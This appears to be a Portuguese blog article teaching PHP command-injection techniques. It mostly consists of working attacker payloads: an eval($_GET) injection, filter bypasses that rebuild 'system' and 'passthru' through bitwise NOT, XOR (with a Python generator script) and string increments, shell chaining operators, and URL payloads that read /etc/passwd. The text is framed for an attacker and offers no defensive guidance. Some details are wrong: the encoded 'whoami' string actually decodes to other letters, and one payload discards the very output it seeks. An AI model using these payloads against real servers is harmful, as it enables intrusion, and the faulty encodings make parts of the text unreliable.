Técnicas Avançadas de Injeção de Comandos em PHP

A injeção de comandos é uma vulnerabilidade crítica que permite a um atacante executar comandos arbitrários no sistema operacional do servidor através de uma aplicação web. Este artigo explora diversas técnicas para alcançar a execução de comandos, mesmo quando certas funções ou métodos são bloqueados ou restritos.

Execução Direta e Funções Alternativas

Quando a função system() do PHP está desabilitada, outras abordagens ainda podem ser viáveis para executar comandos. O uso de crases (backticks) é uma delas, onde o texto entre as crases é interpretado como um comando shell:

<?php
echo `ls -F`;
// Isso executa o comando 'ls -F' e exibe sua saída.
?>

Além das crases, outras funções PHP podem ser empregadas para executar comandos do sistema operacional. Se não houver restrição, funções como passthru(), shell_exec(), exec() e proc_open() podem ser usadas. Por exemplo, se a função eval() não estiver desabilitada, um payload pode ser:

?cmd=eval($_GET['x']);

Nesse caso, a aplicação executaria o conteúdo da variável x enviada via método GET, permitindo a execução de código PHP arbitrário, que por sua vez pode invocar comandos do sistema.

Técnicas de Bypass para Funções Restritas

Bypass Usando Operador Bitwise NOT (~)

O operador bitwise NOT (~) pode ser usado para gerar strings, burlando filtros baseados em nomes de funções. Cada caractere de uma string pode ser representado por um valor bitwise NOT de outro caractere. Por exemplo, ~'system' resultará em uma sequência de bytes que, quando interpretada como string, é system.

<?php
// Gerando a representação URL-encoded de (~'system')
$func_encoded = urlencode(~'system');
echo "<p>Representação URL-encoded de (~'system'): " . $func_encoded . "</p>";

// Gerando a representação URL-encoded de (~'whoami')
$cmd_encoded = urlencode(~'whoami');
echo "<p>Representação URL-encoded de (~'whoami'): " . $cmd_encoded . "</p>";

// Demonstração da decodificação e do resultado (apenas para ilustrar)
// Em um cenário real, o atacante injetaria as strings codificadas diretamente.
echo "<p>Decodificando (~'system'): " . (~urldecode($func_encoded)) . "</p>";
echo "<p>Decodificando (~'whoami'): " . (~urldecode($cmd_encoded)) . "</p>";

// Para execução real, um payload no URL poderia ser algo como:
// ?c=(~urldecode('%8C%86%8C%8B%9A%92'))((~urldecode('%9D%9B%9E%93%90%97')));
?>

Bypass Usando Operador Bitwise XOR (^)

Similar ao operador NOT, o operador XOR (^) pode ser utilizado para construir caracteres e, consequentemente, strings completas, a partir da combinação de outros caracteres, o que ajuda a evitar detecção por filtros de strings. O script Python a seguir ilustra como encontrar dois caracteres cuja operação XOR resulte no caractere desejado:

# Script Python para construir strings via XOR
valid_chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_+=[]{}|;:'\",.<>/?`~ "

target_string = input("Informe a string para construção via XOR (ex: 'phpinfo'): ")

part1_xor, part2_xor = '', ''
for char_target in target_string:
   found_pair = False
   for char_a in valid_chars:
       for char_b in valid_chars:
           if (ord(char_a) ^ ord(char_b) == ord(char_target)):
               part1_xor += char_a
               part2_xor += char_b
               found_pair = True
               break
       if found_pair:
           break
   if not found_pair:
       print(f"Erro: Não foi possível encontrar um par XOR para o caractere '{char_target}'")
       part1_xor += '?' # Placeholder para caracteres não encontrados
       part2_xor += '?' # Placeholder

print("Primeira parte da string (part1_xor):", part1_xor)
print("Segunda parte da string (part2_xor):", part2_xor)
print(f"Você pode usar: (${part1_xor}^${part2_xor}) para obter '{target_string}' em PHP.")

Bypass Usando Auto-Incremento de Variáveis PHP

PHP possui um comportamento peculiar com strings e incrementos. É possível construir strings arbitrárias incrementando variáveis, aproveitando o fato de que um array vazio convertido para string resulta em "Array", e variáveis não definidas são tratadas como False ou 0 em certos contextos. Isso permite gerar caracteres e, subsequentemente, palavras inteiras, como nomes de funções e comandos, sem usar strings literais ou caracteres alfanuméricos diretamente.

<?php
// Inicia com uma string básica "Array" a partir de um array vazio
// Um array vazio convertido para string resulta em "Array"
$str_base_array = [].''; // $str_base_array é "Array"

// Extrai o caractere 'A' da string "Array" (índice 0)
// Uma variável não definida ($idx_zero) é tratada como 0, acessando $str_base_array[0]
$idx_zero = false; // Equivalente a 0 para indexação
$char_A_base = $str_base_array[$idx_zero]; // $char_A_base é "A"

// === Construindo a string "PASSTHRU" (exemplo em maiúsculas para simplicidade) ===
// 'P'
$char_P = $char_A_base;
for ($i = 0; $i < 15; $i++) $char_P++; // 'A' + 15 incrementos = 'P'

// 'A'
$char_A_func = $char_A_base;

// 'S'
$char_S = $char_A_base;
for ($i = 0; $i < 18; $i++) $char_S++; // 'A' + 18 incrementos = 'S'

// 'T'
$char_T = $char_A_base;
for ($i = 0; $i < 19; $i++) $char_T++; // 'A' + 19 incrementos = 'T'

// 'H'
$char_H = $char_A_base;
for ($i = 0; $i < 7; $i++) $char_H++;  // 'A' + 7 incrementos = 'H'

// 'R'
$char_R = $char_A_base;
for ($i = 0; $i < 17; $i++) $char_R++; // 'A' + 17 incrementos = 'R'

// 'U'
$char_U = $char_A_base;
for ($i = 0; $i < 20; $i++) $char_U++; // 'A' + 20 incrementos = 'U'

// Concatena os caracteres para formar o nome da função
$constructed_func_name = $char_P . $char_A_func . $char_S . $char_T . $char_H . $char_R . $char_U; // "PASSTHRU"

// === Construindo a string do comando "ID" ===
// 'I'
$char_I = $char_A_base;
for ($i = 0; $i < 8; $i++) $char_I++; // 'A' + 8 incrementos = 'I'

// 'D'
$char_D = $char_A_base;
for ($i = 0; $i < 3; $i++) $char_D++; // 'A' + 3 incrementos = 'D'

// Concatena os caracteres para formar o argumento do comando
$constructed_command_arg = $char_I . $char_D; // "ID"

// Demonstra as strings construídas
echo "<p>Nome da função construído via incremento: " . $constructed_func_name . "</p>";
echo "<p>Argumento do comando construído via incremento: " . $constructed_command_arg . "</p>";

// Em um cenário de exploração real, estas strings seriam usadas para invocar
// a função de execução de comandos (por exemplo, passthru) e o comando desejado.
// Para gerar caracteres minúsculos, o processo seria mais complexo e envolveria
// o uso de outros caracteres gerados ou manipulações de strings.
?>

Redirecionamento de Saída e Encadeamento de Comandos

Em ambientes shell, é comum manipular a saída de comandos. A expressão >/dev/null 2>&1 é um redirecionamento que envia tanto a saída padrão (stdout) quanto o erro padrão (stderr) para /dev/null, um "buraco negro" de arquivos, efetivamente silenciando o comando para o usuário.

Operadores de Encadeamento de Comandos

Para executar múltiplos comandos ou controlar o fluxo de execução, podem-se usar os seguintes operadores:

  • ; (Ponto e vírgula): Executa o próximo comando independentemente do sucesso do anterior. Ex: cmd1; cmd2
  • | (Pipe): Envia a saída do primeiro comando como entrada para o segundo. Ex: ls -l | grep .php
  • || (OU lógico): Executa o segundo comando SOMENTE se o primeiro falhar. Ex: comando_inexistente || echo "Comando falhou"
  • & (E em segundo plano): Executa o comando em segundo plano. Pode ser usado para encadear comandos. Ex: cmd1 & cmd2
  • && (E lógico): Executa o segundo comando SOMENTE se o primeiro for bem-sucedido. Ex: mkdir test && cd test

Exemplos de Payloads

Considerando um ponto de injeção via URL como /?c=, alguns payloads podem ser:

  • Para tentar listar arquivos sensíveis e silanciar erros: url/?c=cat /etc/passwd %26%3E/dev/null (&> url-encoded)
  • Para listar o diretório atual se um comando falhar: url/?c=comando_inexistente || ls -F
  • Para listar arquivos e depois ver o usuário atual: url/?c=ls -la ; whoami

Tags: PHP CommandInjection WebSecurity Bypass BitwiseOperations

Publicado em 7-27 23:26